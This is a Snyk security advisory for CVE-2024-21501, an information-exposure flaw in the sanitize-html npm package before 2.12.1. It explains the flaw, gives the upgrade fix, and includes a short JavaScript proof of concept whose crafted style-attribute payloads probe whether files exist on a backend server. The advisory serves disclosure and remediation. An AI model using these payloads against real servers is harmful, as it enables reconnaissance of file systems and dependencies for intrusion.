Information Exposure Affecting sanitize-html package, versions <2.12.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-SANITIZEHTML-6256334
- published23 Feb 2024
- disclosed20 Feb 2024
- creditVsevolod Kokorin (Slonser) of Solidlab
Introduced: 20 Feb 2024
CVE-2024-21501 (opens in a new tab)How to fix?
Upgrade sanitize-html to version 2.12.1 or higher.
Overview
sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis
Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.
PoC
// index.js
const sanitizeHtml = require('sanitize-html');
const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;
const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
const file_notexist_clean = sanitizeHtml(file_notexist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")